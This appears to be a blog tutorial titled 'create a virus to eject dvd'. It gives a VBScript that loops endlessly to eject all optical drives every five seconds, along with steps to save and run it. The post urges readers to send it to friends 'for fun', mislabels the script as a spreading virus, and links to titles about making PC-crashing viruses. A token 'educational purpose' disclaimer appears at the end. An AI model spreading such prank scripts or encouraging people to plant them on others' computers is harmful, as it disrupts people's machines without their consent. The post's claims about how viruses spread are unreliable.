Tags

, ,

 

create a virus to eject dvd

Computer viruses are dangerous for every opearating system.It spreads all over the system and infect it. today i am going to share you a trick by which we should create a virus. This virus continuously eject CD/DVD drive after activation. I am using vbs batch codes for creating virus.

Auto eject CD/DVD drive

This virus code will continuously eject all your connected Optical drives. so If you put them back
in, it will pop them out again.so just follow below mentioned steps–>

Steps to create Virus

Step 1.

First of all open your notepad

Step 2.

now copy the below code

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

 

Step 3.

now save this file as .vbs extension, for e.g. drive.vbs

>>now if you double click this file, virus got activated and your CD/DVD drive automatically ejected
continuously. To disable it, just write click on the file and delete it

>>For fun send this code to your friends and surprise them.

Hope you like this trick, if you want more tricks like this then follow our blog and share it on
Facebook.

Read also –>

How to create a virus to crash a PC forĀ forever??

How a make a dangerous virus in a minute?

NOTE:- This trick is only for educational purpose